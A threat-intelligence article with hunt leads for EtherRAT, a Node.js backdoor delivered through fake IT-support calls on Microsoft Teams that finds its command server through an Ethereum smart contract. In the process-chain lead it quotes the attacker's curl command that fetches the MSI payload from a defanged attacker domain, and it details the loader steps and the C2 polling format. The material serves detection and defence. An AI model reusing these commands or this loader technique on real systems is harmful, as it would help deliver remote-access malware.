Medium 6 Hunt Leads

Fake IT Support on Teams Delivers EtherRAT, C2 Via Ethereum

A Teams caller posing as IT talks victims into installing remote-access tools, then drops EtherRAT, a Node.js backdoor that looks up its command server in an Ethereum smart contract.

ThreatRoundup · Oct 27, 2026 · 18 min read

A fake “System Administrator” calling over Microsoft Teams is the front door for EtherRAT, a Node.js backdoor that looks up its command server on the Ethereum blockchain. A technical write-up published on bluecyber.hashnode.dev by a Vietnamese security team, building on a campaign Palo Alto Networks Unit 42 first reported on June 28, walks through the whole chain. The caller talks the victim into installing remote-access tools, then pulls down the malware while the victim watches.

For defenders

Way in: a phishing email titled “Employee Survey results” with a PDF lure, followed by a Teams call from an external tenant (the attacker account was helpdesk@Progressive934.onmicrosoft[.]com), which Teams flagged as “External unfamiliar.” That’s T1566.004 (Phishing: Spearphishing Voice). The victim was walked through installing HopToDesk and AnyDesk, T1219.002 (Remote Access Tools: Remote Desktop Software), and the operator then used curl to fetch v7.msi. The authors also saw the operator file a ServiceNow ticket from the victim’s machine asking for access to internal apps.

Loader chain: the MSI, T1218.007 (System Binary Proxy Execution: Msiexec), drops a randomly named .cmd, .dat and .ini trio in local app data. The batch file downloads the official Node.js 18.20.5 if needed, and the final payload is piped into node.exe - through stdin, so the backdoor never touches disk as a script: T1059.007 (Command and Scripting Interpreter: JavaScript).

Blockchain C2: EtherRAT queries seven public Ethereum RPC endpoints for a URL stored in a smart contract, picks the most common answer, and re-checks every five minutes. That’s T1102.001 (Web Service: Dead Drop Resolver), the same EtherHiding idea we saw in the Slaiclind ClickFix campaign. The authors say each C2 update costs the operator about two cents. The core has no built-in stealer but runs any JavaScript the server sends. Sysdig has separately reported EtherRAT on Linux via CVE-2025-55182 (React2Shell); this Windows chain didn’t use it.

Hunt: msiexec → conhost --headless → cmd → node.exe, or node.exe - with no other argument; %APPDATA%\svchost.log and %APPDATA%\.node_bot_id; bursts of eth_call requests with data starting 0x7d434425; and GETs for fake .png or .css paths carrying an X-Bot-Server header. Don’t block nodejs.org or public RPCs outright; the false positives are brutal.

Network

camorreado[.]click (hxxps://camorreado[.]click/v7.msi)
necropatia[.]com (fallback C2)
labipt[.]com
Ethereum contract: 0x788a5336c0ef70be87619a3c13a43050c426f7ec
Operator wallet: 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f
Teams tenant: Progressive934.onmicrosoft[.]com (310e9ead-4f6f-491e-aafe-feb08c8d17a4)

SHA-256

fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33 (v7.msi)
c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d (decrypted EtherRAT core)

What it means for you

Your real IT department will almost never cold-call you on Teams from an outside account and ask you to install remote-control software. Teams even warns you with an “External” label. If someone does this, hang up and call your help desk on a number you already know. Letting them in gives a stranger full control of your work computer.

Do this now

Hang up on unexpected “IT support” calls that ask you to install AnyDesk, HopToDesk or anything similar, and report them.
Admins: restrict Teams external access to trusted domains, and block unapproved remote-access tools with application control.
Alert on the msiexec-to-node.exe process chain and on Node.js running from user profile folders.

Source article: EtherRAT spread through IT support impersonation on Microsoft Teams: Ethereum smart contract as a C&C resolution mechanism
Publisher: bluecyber.hashnode.dev (author not named; prepared for Security Bootcamp 2026)
Published: Oct. 2026 (exact date not stated on the page; the write-up’s newest on-chain data is from Oct. 15, 2026)
URL: https://bluecyber.hashnode.dev/etherrat-malware-bootcamp2026

Executive Summary

EtherRAT is a Node.js backdoor that resolves its command server from an Ethereum smart contract. Palo Alto Networks Unit 42 first reported this Teams-based delivery on June 28, 2026; Sysdig separately tracks EtherRAT on Linux through React2Shell exploitation, and Enki reported it disguised as a game-mod installer, so the family is spread through several unrelated lures and is not tied to one actor in the source. In this chain the victim receives an “Employee Survey results” email with a PDF lure, then a Microsoft Teams call from an external tenant account with the display name “System Administrator” (helpdesk@Progressive934.onmicrosoft[.]com in the source article, Progressive936 in Unit 42’s indicator file; tenant ID 310e9ead-4f6f-491e-aafe-feb08c8d17a4). The caller takes control through Teams, has the victim install HopToDesk and AnyDesk, and runs curl to fetch v7.msi from camorreado[.]click. The MSI runs a hidden conhost --headless batch loader that downloads the official Node.js 18.20.5 if needed, decrypts a JavaScript loader in memory with vm.compileFunction, copies node.exe under a random name, and pipes the decrypted EtherRAT core into it through stdin, so the backdoor never exists on disk as a script. The core asks seven public Ethereum RPC endpoints for the URL stored in contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec, falls back to necropatia[.]com, polls URLs disguised as image and CSS files, and runs any JavaScript the server returns. The operator also filed an internal ServiceNow ticket from the victim’s machine to request access to internal applications. The objective is a durable, hard-to-take-down foothold for hands-on access and follow-on tooling. Hunt leads, false-positive expectations, the absence of published rules, and the indicators are detailed below.

ATT&CK chain: Initial Access → Execution → Defense Evasion → Persistence → Discovery → Command and Control

Hunt Lead Grid

Hunt Lead Level	Hunt Lead Name	ATT&CK	Risk of False Positives
1 (Junior)	EtherRAT Domain, Tenant and Contract Sweep	T1105 (Ingress Tool Transfer), T1008 (Fallback Channels)	Low. The sweep anchors on two campaign domains, four named Azure cloudapp hostnames, one attacker tenant ID and one contract address; the Azure parent domain and public RPC hosts are never matched on their own.
1 (Junior)	svchost.log, .node_bot_id and OneDriveSetup Run Key Sweep	T1036 (Masquerading), T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)	Low. A file named svchost.log in the user’s Roaming profile and a .node_bot_id file have no legitimate source; the real OneDriveSetup Run value points to Microsoft’s OneDrive installer, so the sweep flags only values that launch node.exe or a renamed copy.
2 (Pro)	msiexec to Headless conhost to node.exe stdin Chain	T1218.007 (System Binary Proxy Execution: Msiexec), T1059.007 (Command and Scripting Interpreter: JavaScript)	Medium. Developers run Node.js constantly, so the rule anchors on node.exe whose parent chain contains msiexec or conhost –headless, on node.exe running from a user AppData folder, and on a node process started with only “-” as its argument by another node process.
2 (Pro)	Unapproved HopToDesk or AnyDesk Install by a Standard User	T1219.002 (Remote Access Tools: Remote Desktop Software)	Medium. Some IT teams and vendors use AnyDesk legitimately, so the rule anchors on remote-desktop tools that are not the organization’s approved tool, downloaded through a browser by a non-IT user, rather than on any execution of them.
3 (Elite)	Ethereum RPC Burst Followed by Fake-Image Polling	T1102.001 (Web Service: Dead Drop Resolver), T1071.001 (Application Layer Protocol: Web Protocols)	Low. Crypto wallets and developer tools call Ethereum RPCs, but the correlation requires near-simultaneous eth_call requests to several public RPC providers for the same contract and selector, followed by repeated GETs to /api/ paths ending in image or CSS names with an X-Bot-Server header.
3 (Elite)	External Teams “IT” Call Followed by Remote Tool and MSI Download	T1566.004 (Phishing: Spearphishing Voice), T1219.002 (Remote Access Tools: Remote Desktop Software)	Medium. Legitimate external Teams calls happen with partners, so the correlation needs a call from an unfamiliar external tenant with a help-desk-style display name, followed within an hour by a remote-access tool install or a curl download of an MSI on that user’s device.

EtherRAT Domain, Tenant and Contract Sweep

The MSI was fetched from hxxps://camorreado[.]click/v7.msi, an open directory that held EtherRAT builds v1 through v9; necropatia[.]com is the hardcoded fallback C2; and the contract’s on-chain history points the bots at labipt[.]com and Azure-hosted servers seconds.australiaeast.cloudapp.azure[.]com, resurce.swedencentral.cloudapp.azure[.]com and dns1.southafricanorth.cloudapp.azure[.]com (Unit 42 also lists cover.wedencentral.cloudapp.azure[.]com). The Teams caller came from tenant 310e9ead-4f6f-491e-aafe-feb08c8d17a4 as helpdesk@Progressive934.onmicrosoft[.]com (Progressive936 in Unit 42’s file, so match both). The C2 lookup reads contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec with the operator wallet 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f as the argument. The detection logic is a retrospective sweep of proxy and DNS logs for the domains and full Azure hostnames, Microsoft 365 audit and Teams call records for the tenant ID and both account spellings, and, where the proxy inspects request bodies, any JSON-RPC POST whose to field is the contract address.

Use secure web gateway or proxy logs, DNS logs, the Microsoft 365 unified audit log (Teams events with HasForeignTenantUsers) and Teams call records. Sweep 90 days at minimum and back to late June 2026 if logs allow, since Unit 42 saw this delivery then and the operator updates the contract cheaply (about two cents per change, 20 changes so far). Match full Azure hostnames only; blocking or alerting on cloudapp.azure.com as a whole would flood the queue. The contract address is a durable indicator because every bot must read it; consider blocking the specific contract address in an inspecting proxy rather than blocking public RPC providers. A hit on the fallback domain or a cloudapp hostname from a workstation is an active infection and should go to incident response; a tenant match alone means a user was contacted and should be interviewed.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1105 (Ingress Tool Transfer) and T1008 (Fallback Channels) (mapping per source article)

Sources: “EtherRAT spread through IT support impersonation on Microsoft Teams: Ethereum smart contract as a C&C resolution mechanism”, bluecyber.hashnode.dev, Oct. 2026, https://bluecyber.hashnode.dev/etherrat-malware-bootcamp2026 (source article); “2026-06-28 Fake IT support abuses Teams to deliver EtherRAT”, Palo Alto Networks Unit 42 Timely Threat Intel, June 28, 2026, https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-06-28-Fake-IT-support-abuses-Teams-to-deliver-EtherRAT.txt (additional source, same campaign)

svchost.log, .node_bot_id and OneDriveSetup Run Key Sweep

The EtherRAT core writes unhandled errors to %APPDATA%\svchost.log even with logging switched off, which the source calls its most reliable host indicator, and looks for a bot ID in %APPDATA%\.node_bot_id or a hidden 11-character dot-file in %APPDATA%. Its install folder name is derived from the first eight hex characters of MD5(COMPUTERNAME + USERNAME): one of Microsoft, Windows, Programs, Packages or Google, then one of Services, Components, Assemblies, Extensions or Modules, then a four-hex suffix under %LOCALAPPDATA% (for example %LOCALAPPDATA%\Microsoft\Components\a3f1), holding an extension-less Base64 JSON config. The loader drops Node.js 18.20.5 into a renamed folder (1DIZ0D in this build) and copies node.exe to a random name such as texuvTlV.exe. Unit 42 adds that EtherRAT persists through a Run key value named OneDriveSetup. The detection logic is a file and registry sweep: any svchost.log or .node_bot_id in a user’s Roaming profile, any executable under %LOCALAPPDATA% whose version info says Node.js but whose name is not node.exe, and any HKCU Run value named OneDriveSetup whose data does not point to Microsoft’s OneDrive installer.

Run it with EDR file inventory or a live query across Windows endpoints and a registry query of every user’s Run key. Sweep current state; these files and the Run value persist across reboots. Check renamed Node.js binaries by their file version and signer (the official node.exe is signed by the OpenJS Foundation), since the file name changes per build and the binary itself is legitimate: hash-blocking node.exe would break every developer machine and would not stop the next renamed copy. A svchost.log in AppData or a OneDriveSetup value that launches Node.js is a confirmed infection: capture process memory first (the core only exists in the stdin pipe), then isolate. The svchost.log check is cheap and generalizes to other malware that borrows Windows names for user-profile files.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Defense Evasion → T1036 (Masquerading) (our mapping); Persistence → T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) (our mapping, from Unit 42’s OneDriveSetup note)

msiexec to Headless conhost to node.exe stdin Chain

The operator downloaded the MSI with cmd /c curl -Lo "%LOCALAPPDATA%\Temp\v7.msi" hxxps://camorreado[.]click/v7.msi. The MSI’s custom action (tiWqF9TeA6fX, type 1250) runs conhost --headless cmd /c "R2YxSP2m.cmd"; the batch file relaunches itself hidden with the marker argument 49UB, runs where node, and if Node.js is missing runs curl -sLo "%TEMP%\node-v18.20.5-win-x64.zip" "hxxps://nodejs[.]org/dist/v18.20.5/node-v18.20.5-win-x64.zip", extracts it with tar -xf and renames the folder. It then starts conhost --headless <node> <dir>\z0SYYdWk9g.dat, the loader decrypts the .ini blob and spawns its renamed node copy as texuvTlV.exe -, writing the EtherRAT core to its stdin and restarting it five seconds after any exit. The batch strings are hidden with %var:~offset,length% substring slicing. The detection logic is a process rule with three branches: conhost.exe with --headless whose parent is msiexec.exe; a node.exe (or any binary whose original file name is node.exe) running from %LOCALAPPDATA% with a .dat argument; and any node process whose only argument is - and whose parent is another node process.

Use EDR process-creation telemetry with original-file-name and command-line fields, or Sysmon event 1 with OriginalFileName. Sweep 90 days and run continuously. Scope the node branches to non-developer endpoints first, then extend to developers with an allowlist of node.exe under Program Files, nvm and build-tool paths; allowlist by path and signer, never by the process name, because the attacker renames node.exe. The conhost --headless under msiexec branch has very little legitimate use and can alert across the whole estate. Do not block nodejs[.]org downloads outright, which would break developers; instead flag curl or tar fetching a Node.js zip from a batch file. Any hit should be triaged by checking for the svchost.log and Run key from the previous lead, and a confirmed chain goes to incident response with a memory capture.

Hunt Lead Level: 2 (Pro)

ATT&CK: Defense Evasion → T1218.007 (System Binary Proxy Execution: Msiexec), T1564.003 (Hide Artifacts: Hidden Window), T1027.010 (Obfuscated Files or Information: Command Obfuscation), T1027.013 (Obfuscated Files or Information: Encrypted/Encoded File) and T1140 (Deobfuscate/Decode Files or Information); Execution → T1059.003 (Command and Scripting Interpreter: Windows Command Shell) and T1059.007 (Command and Scripting Interpreter: JavaScript) (mapping per source article)

Unapproved HopToDesk or AnyDesk Install by a Standard User

Before any malware ran, the caller had the victim download and install HopToDesk and AnyDesk through Microsoft Edge to keep access beyond the Teams session; Teams’ own remote-control feature was used first (the source notes a CtrlVirtualCursorWin_… artifact showing the attacker driving the screen). Two remote-desktop tools installed minutes apart by a non-IT user, during or right after an external call, is the behavioral anchor. The detection logic is a process and file rule: a HopToDesk or AnyDesk installer or executable written to a user’s Downloads folder by a browser and then executed, on an endpoint where neither is the organization’s approved remote-support tool, with higher severity when two different remote-access tools appear on the same host within an hour.

Use EDR process and file-creation events (browser as the writing process, Mark-of-the-Web zone data where available) and application-control logs. Sweep 90 days. Scope to all workstations, excluding the IT support group’s devices where the approved tool is managed. Identify the tools by signer and original file name rather than by file name, because users and attackers rename installers. If remote-desktop tools are not part of the approved toolset, block them with application control rather than by hash, since new builds change hashes constantly. A hit should be followed by a check of Teams call records for an external caller around that time (the Elite lead below), and an unexplained install on a finance or admin user’s device should be escalated. The rule generalizes to the many help-desk-impersonation campaigns that use the same opening.

Hunt Lead Level: 2 (Pro)

ATT&CK: Command and Control → T1219.002 (Remote Access Tools: Remote Desktop Software) (mapping per source article)

Ethereum RPC Burst Followed by Fake-Image Polling

To find its server, the core sends JSON-RPC eth_call POSTs in parallel (10-second timeout) to seven public endpoints: mainnet.gateway.tenderly[.]co, rpc.flashbots[.]net/fast, rpc.mevblocker[.]io, eth-mainnet.public.blastapi[.]io, ethereum-rpc.publicnode[.]com, eth.drpc[.]org and eth.merkle[.]io. The call data is 0x7d434425 (getString(address)) followed by the operator wallet padded to 32 bytes, and the bot takes the most common URL returned, re-checking every five minutes on a 60-second timer. It then polls <C2>/api/<8-hex>/<botId UUID>/<8-hex>.<png|jpg|gif|css|ico|webp>?<id|token|key|b|q|s|v>=de30e25b-333b-45d3-a8cc-62dd131d142a with an X-Bot-Server header, sleeping 500 ms between cycles and 5 seconds after errors, and runs any response longer than 10 characters as JavaScript. The detection logic is a correlation per host: at least three of the seven RPC hosts contacted within a few seconds by a process that is not a known wallet or blockchain tool, followed by repeated GETs whose path matches /api/[0-9a-f]{8}/[UUID]/[0-9a-f]{8}\.(png|jpg|gif|css|ico|webp), or any request carrying an X-Bot-Server header.

This needs proxy logs with full URLs and headers (TLS inspection) joined to EDR network events that name the process, so the RPC burst can be tied to node.exe or its renamed copy. Back-test over 90 days and run continuously. Allowlist known crypto-wallet and developer tooling by process path and signer and scope first to hosts with no business reason to touch Ethereum. Blocking every public RPC provider is the wrong answer for organizations that do blockchain work and a weak one for others, because the provider list is long; matching the contract address, selector and polling URL shape is more durable. A match on the URL shape or the header is high-confidence and should be escalated straight to incident response. The RPC-burst half generalizes to other EtherHiding-style dead-drop resolvers.

Hunt Lead Level: 3 (Elite)

ATT&CK: Command and Control → T1102.001 (Web Service: Dead Drop Resolver) and T1071.001 (Application Layer Protocol: Web Protocols) (mapping per source article)

External Teams “IT” Call Followed by Remote Tool and MSI Download

The intrusion opened with an “Employee Survey results” email carrying EE Survey - How to log on.pdf, then a Teams call from an external, unfamiliar tenant whose account used the display name “System Administrator”; the audit log showed HasForeignTenantUsers: true. During the call the attacker took remote control, the victim installed HopToDesk and AnyDesk, the MSI was pulled with curl, and later a ServiceNow ticket was raised from the victim’s machine asking for access to internal applications. The detection logic is a three-source sequence keyed on the user: an inbound Teams call or chat from an external tenant not on the federation allowlist where the display name contains help-desk terms (System Administrator, IT Support, Helpdesk, Service Desk), followed within 60 minutes on the user’s device by a remote-access tool install or a curl or browser download of an .msi, with an optional third step of a new access-request ticket from that user.

Join Microsoft 365 audit and Teams call records (external participant tenant ID and display name) with EDR events from the user’s primary device, using the user principal name to device mapping from your identity or MDM inventory; add ticketing-system logs if available. Back-test 90 days and run continuously. Partner calls from allowlisted tenants are excluded by tenant ID, which is far more reliable than display names. Restricting Teams external access to an allowlist of trusted domains removes most of the risk and is a better control than this detection alone. Any full-sequence hit should be treated as an active intrusion: disable the user’s sessions, isolate the device, and check whether the requested internal access was granted. The correlation generalizes to the broader fake-help-desk-on-Teams pattern used by many ransomware and RAT operators.

Hunt Lead Level: 3 (Elite)

ATT&CK: Initial Access → T1566.004 (Phishing: Spearphishing Voice) and T1566.001 (Phishing: Spearphishing Attachment); Command and Control → T1219.002 (Remote Access Tools: Remote Desktop Software) (mapping per source article)

Hash Appendix

No published YARA or Sigma rules: the source article gives hunting guidance only, and Unit 42’s file lists indicators without rules.

EtherRAT Teams delivery (v7.msi and its stages)

SHA-256 values come from the source article and match Unit 42’s indicator file. Neither source gives MD5 or SHA-1, and an AlienVault OTX lookup could not be completed (OTX search requires an authenticated account), so those are marked not available. The Node.js 18.20.5 runtime the loader downloads is the official, unmodified OpenJS Foundation build: never block its hash; detect where it runs from and what starts it.

MD5s

(not available)  # v7.msi -> %LOCALAPPDATA%\Temp\v7.msi (installer)
(not available)  # R2YxSP2m.cmd -> local app data (stage 1 batch loader)
(not available)  # z0SYYdWk9g.dat -> local app data (stage 2 obfuscated JS loader)
(not available)  # eXYlcnebRLrWyBc.ini -> local app data (encrypted EtherRAT core)
(not available)  # decrypted stage 2 loader (1,969-byte JS, memory only)
(not available)  # decrypted EtherRAT core (JS piped to node stdin, memory only)

SHA1s

(not available)  # v7.msi -> %LOCALAPPDATA%\Temp\v7.msi
(not available)  # R2YxSP2m.cmd -> stage 1 batch loader
(not available)  # z0SYYdWk9g.dat -> stage 2 JS loader
(not available)  # eXYlcnebRLrWyBc.ini -> encrypted EtherRAT core
(not available)  # decrypted stage 2 loader (memory only)
(not available)  # decrypted EtherRAT core (memory only)

SHA256s

fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33  # v7.msi -> %LOCALAPPDATA%\Temp\v7.msi (installer)
c2eeb74892408496f5a307a5b1fdc92d94fd014ab4252868f04046bf84718ab6  # R2YxSP2m.cmd -> local app data (stage 1 batch loader)
94cb54d53927e4ba469099760db531be563a84d716df69e864062d90f0f2448d  # z0SYYdWk9g.dat -> local app data (stage 2 obfuscated JS loader)
0cb2f7651d50e1ed1a691e82f0297d49444bdded2461e136cffb156d4f234e52  # eXYlcnebRLrWyBc.ini -> local app data (encrypted EtherRAT core)
d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82  # decrypted stage 2 loader (1,969-byte JS, memory only)
c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d  # decrypted EtherRAT core (JS piped to node stdin, memory only)

References Appendix

“EtherRAT spread through IT support impersonation on Microsoft Teams: Ethereum smart contract as a C&C resolution mechanism”, bluecyber.hashnode.dev, Oct. 2026, https://bluecyber.hashnode.dev/etherrat-malware-bootcamp2026 (source article; infection chain, loader internals, file names, contract and RPC details, C2 URL format, hashes, ATT&CK mapping)
“2026-06-28 Fake IT support abuses Teams to deliver EtherRAT”, Palo Alto Networks Unit 42 Timely Threat Intel, June 28, 2026, https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2026-06-28-Fake-IT-support-abuses-Teams-to-deliver-EtherRAT.txt (additional source; OneDriveSetup Run key, tenant spelling, Azure hostname list, hash file names)
MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/